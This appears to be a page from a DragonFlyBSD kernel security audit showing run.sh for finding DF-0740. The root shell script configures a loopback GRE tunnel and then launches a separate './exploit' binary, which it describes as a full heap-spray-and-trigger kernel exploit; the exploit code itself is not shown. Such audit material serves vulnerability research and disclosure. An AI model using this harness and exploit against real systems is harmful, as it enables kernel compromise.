DragonFlyBSD Kernel Audit
DF-0740 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0740 run script — full exploit (spray + trigger)
# Must run as root (needs raw socket + GRE tunnel setup).
cd "$(dirname "$0")"

# Setup GRE tunnel (simulates an admin-configured tunnel)
ifconfig gre0 destroy 2>/dev/null || true
ifconfig gre create
ifconfig gre0 tunnel 127.0.0.1 127.0.0.2
ifconfig gre0 inet 172.16.0.1 172.16.0.2 netmask 0xffffffff up

echo "[*] GRE tunnel configured. Running exploit..."
./exploit 100